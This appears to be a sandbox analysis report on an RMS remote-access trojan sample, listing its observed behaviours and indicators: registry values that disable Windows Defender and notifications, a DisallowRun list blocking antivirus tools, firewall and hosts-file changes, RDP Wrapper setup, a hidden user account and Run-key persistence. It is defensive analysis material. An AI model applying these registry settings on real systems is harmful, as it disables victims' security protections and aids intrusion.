rms | b7dd9fe69c8b2431087329eb78c9fb1bdbcb511194aae0a42238cce026505b6e

Windows Service

Disable or Modify Tools

T1562.001

Processes:

GameGuard.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	GameGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\RealtimeScanDirection = "2"	GameGuard.exe

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

T1562.001

Processes:

GameGuard.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	GameGuard.exe

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

T1497

Processes:

unsecapp.exeSetup.exeunsecapp.exeunsecapp.exesmss.exeDesktop.exeGameGuard.exeupdate.exeIP.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	unsecapp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	unsecapp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	unsecapp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	smss.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Desktop.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	GameGuard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	update.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	IP.exe

Blocks application from running via registry modification 29 IoCs

Adds application to list of disallowed applications.

evasion

Processes:

GameGuard.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "avast_free_antivirus_setup_online.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\26 = "KVRT(1).exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "Cezurity_Scanner_Pro_Free.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\12 = "AVbr.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\19 = "eset_nod32_antivirus_live_installer.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\23 = "drweb-12.0-ss-win.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\25 = "TDSSKiller.exe"	GameGuard.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	GameGuard.exe
Key created	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "360TS_Setup_Mini.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\11 = "Cube.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\17 = "eset_internet_security_live_installer.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "hitmanpro_x64.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "ESETOnlineScanner_RUS.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "essf_trial_rus.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\21 = "PANDAFREEAV.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\22 = "bitdefender_avfree.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\27 = "rkill.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "eav_trial_rus.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "eis_trial_rus.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\20 = "MBSetup.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\14 = "KVRT.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\16 = "FRST64.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\13 = "AV_br.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\18 = "esetonlinescanner.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\24 = "Cureit.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "HitmanPro.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\15 = "cureit.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "ESETOnlineScanner_UKR.exe"	GameGuard.exe

Drops file in Drivers directory 2 IoCs

Processes:

cmd.exeupdate.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cmd.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	update.exe

Modifies Windows Firewall 2 TTPs 8 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

pid process

5640 netsh.exe
1804 netsh.exe
552 netsh.exe
1876 netsh.exe
1348 netsh.exe
3468 netsh.exe
924 netsh.exe
5152 netsh.exe

pid	process
5640	netsh.exe
1804	netsh.exe
552	netsh.exe
1876	netsh.exe
1348	netsh.exe
3468	netsh.exe
924	netsh.exe
5152	netsh.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

Modify Registry

Processes:

RDPWinst.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	RDPWinst.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

IP.exesmss.exeunsecapp.exeunsecapp.exeunsecapp.exeSetup.exeupdate.exeDesktop.exeGameGuard.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	IP.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	IP.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	unsecapp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	unsecapp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	unsecapp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	unsecapp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	unsecapp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Desktop.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Desktop.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	GameGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	GameGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	unsecapp.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

winserv.exewinserv.exeinstall.exeupdate.exesvchost.exesmss.exewinserv.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	smss.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	winserv.exe

Executes dropped EXE 17 IoCs

Processes:

GameInstall.exeinstall.exeGameGuard.exeupdate.exewin.exesvchost.exeIP.exesmss.exewinserv.exeunsecapp.exewinserv.exeDesktop.exeRDPWinst.exeunsecapp.exewinserv.exeunsecapp.exewinserv.exe

pid	process
4336	GameInstall.exe
60	install.exe
5528	GameGuard.exe
464	update.exe
1464	win.exe
4804	svchost.exe
852	IP.exe
5280	smss.exe
1192	winserv.exe
5592	unsecapp.exe
4864	winserv.exe
5656	Desktop.exe
3472	RDPWinst.exe
3536	unsecapp.exe
4748	winserv.exe
4324	unsecapp.exe
3032	winserv.exe

Loads dropped DLL 1 IoCs

Processes:

svchost.exe

pid process

1516 svchost.exe

pid	process
1516	svchost.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	process
5684	icacls.exe
5344	icacls.exe
4948	icacls.exe
3980	icacls.exe
3260	icacls.exe
824	icacls.exe
3800	icacls.exe
4508	icacls.exe
1588	icacls.exe
4404	icacls.exe
5952	icacls.exe
1636	icacls.exe
6124	icacls.exe
4960	icacls.exe
1164	icacls.exe
1088	icacls.exe
444	icacls.exe
4136	icacls.exe
5224	icacls.exe
5796	icacls.exe
2084	icacls.exe
3524	icacls.exe
1220	icacls.exe
5392	icacls.exe
4796	icacls.exe
4900	icacls.exe
5868	icacls.exe
216	icacls.exe
3272	icacls.exe
2568	icacls.exe
5916	icacls.exe
5668	icacls.exe
4952	icacls.exe
5536	icacls.exe
3432	icacls.exe
3844	icacls.exe
636	icacls.exe
2660	icacls.exe
5696	icacls.exe
3656	icacls.exe
4768	icacls.exe
3180	icacls.exe
6136	icacls.exe
4440	icacls.exe
2356	icacls.exe
5708	icacls.exe
1644	icacls.exe
3948	icacls.exe
3832	icacls.exe
3980	icacls.exe
4884	icacls.exe
3164	icacls.exe
5276	icacls.exe
4212	icacls.exe
3736	icacls.exe
5740	icacls.exe
4104	icacls.exe
5816	icacls.exe
6104	icacls.exe
1304	icacls.exe
1856	icacls.exe
1620	icacls.exe
5180	icacls.exe
1492	icacls.exe

Themida packer 60 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/4916-651-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/4916-652-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/4916-655-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/4916-653-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/4916-654-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/4916-656-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/4916-657-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/4916-658-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
C:\ProgramData\Setup\GameGuard.exe	themida
behavioral1/memory/4916-695-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
C:\ProgramData\Setup\update.exe	themida
behavioral1/memory/5528-706-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	themida
behavioral1/memory/5528-707-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	themida
behavioral1/memory/5528-710-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	themida
behavioral1/memory/5528-711-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	themida
behavioral1/memory/5528-713-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	themida
behavioral1/memory/5528-712-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	themida
behavioral1/memory/5528-709-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	themida
behavioral1/memory/5528-708-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	themida
behavioral1/memory/5528-875-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	themida
behavioral1/memory/464-877-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	themida
behavioral1/memory/464-878-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	themida
behavioral1/memory/464-876-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	themida
behavioral1/memory/464-881-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	themida
behavioral1/memory/4916-879-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/464-884-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	themida
behavioral1/memory/464-883-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	themida
behavioral1/memory/4916-886-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/464-888-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	themida
behavioral1/memory/464-899-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	themida
behavioral1/memory/4916-897-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/4916-911-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/464-913-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	themida
C:\ProgramData\Setup\IP.exe	themida
C:\ProgramData\Setup\smss.exe	themida
behavioral1/memory/5280-941-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	themida
behavioral1/memory/5280-944-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	themida
behavioral1/memory/5280-942-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	themida
behavioral1/memory/5280-943-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	themida
behavioral1/memory/5280-945-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	themida
behavioral1/memory/5280-947-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	themida
behavioral1/memory/5280-946-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	themida
behavioral1/memory/852-948-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	themida
behavioral1/memory/852-950-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	themida
behavioral1/memory/852-951-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	themida
behavioral1/memory/852-953-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	themida
behavioral1/memory/852-954-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	themida
behavioral1/memory/852-952-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	themida
behavioral1/memory/852-949-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\aut3CCA.tmp	themida
behavioral1/memory/4916-978-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida
behavioral1/memory/464-980-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	themida
behavioral1/memory/5592-1009-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	themida
behavioral1/memory/5592-1010-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	themida
behavioral1/memory/5592-1008-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	themida
behavioral1/memory/5592-1013-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	themida
behavioral1/memory/5592-1014-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	themida
behavioral1/memory/5592-1015-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	themida
behavioral1/memory/5592-1011-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	themida
behavioral1/memory/4916-1368-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	themida

Adds Run key to start application 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

Modify Registry

Processes:

IP.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio = "C:\\ProgramData\\RealtekHD\\taskhostw.exe"	IP.exe

Checks whether UAC is enabled 1 TTPs 8 IoCs

evasion trojan

System Information Discovery

Processes:

update.exeIP.exesmss.exeunsecapp.exeDesktop.exeunsecapp.exeunsecapp.exeGameGuard.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	update.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IP.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	smss.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	unsecapp.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Desktop.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	unsecapp.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	unsecapp.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	GameGuard.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

232 ip-api.com
242 ip-api.com

flow	ioc
232	ip-api.com
242	ip-api.com

Modifies WinLogon 2 TTPs 4 IoCs

Winlogon Helper DLL

T1547.004

Modify Registry

Processes:

GameGuard.exeRDPWinst.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	GameGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0"	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	RDPWinst.exe

AutoIT Executable 47 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
behavioral1/memory/4916-655-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/4916-653-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/4916-654-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/4916-656-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/4916-657-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/4916-658-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/4916-695-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/5528-710-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	autoit_exe
behavioral1/memory/5528-711-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	autoit_exe
behavioral1/memory/5528-713-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	autoit_exe
behavioral1/memory/5528-712-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	autoit_exe
behavioral1/memory/5528-709-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	autoit_exe
behavioral1/memory/5528-708-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	autoit_exe
behavioral1/memory/5528-875-0x00007FF7D7550000-0x00007FF7D8619000-memory.dmp	autoit_exe
behavioral1/memory/464-877-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	autoit_exe
behavioral1/memory/464-878-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	autoit_exe
behavioral1/memory/464-881-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	autoit_exe
behavioral1/memory/4916-879-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/464-884-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	autoit_exe
behavioral1/memory/464-883-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	autoit_exe
behavioral1/memory/4916-886-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/464-888-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	autoit_exe
behavioral1/memory/464-899-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	autoit_exe
behavioral1/memory/4916-897-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/4916-911-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/464-913-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	autoit_exe
behavioral1/memory/5280-944-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	autoit_exe
behavioral1/memory/5280-942-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	autoit_exe
behavioral1/memory/5280-943-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	autoit_exe
behavioral1/memory/5280-945-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	autoit_exe
behavioral1/memory/5280-947-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	autoit_exe
behavioral1/memory/5280-946-0x00007FF720510000-0x00007FF7214A8000-memory.dmp	autoit_exe
behavioral1/memory/852-950-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	autoit_exe
behavioral1/memory/852-951-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	autoit_exe
behavioral1/memory/852-953-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	autoit_exe
behavioral1/memory/852-954-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	autoit_exe
behavioral1/memory/852-952-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	autoit_exe
behavioral1/memory/852-949-0x00007FF6EC530000-0x00007FF6EE3E7000-memory.dmp	autoit_exe
behavioral1/memory/4916-978-0x00007FF683D80000-0x00007FF684E94000-memory.dmp	autoit_exe
behavioral1/memory/464-980-0x00007FF7C7E80000-0x00007FF7C8E80000-memory.dmp	autoit_exe
behavioral1/memory/5592-1009-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	autoit_exe
behavioral1/memory/5592-1010-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	autoit_exe
behavioral1/memory/5592-1013-0x00007FF6291C0000-0x00007FF62A7BE000-memory.dmp	autoit_exe
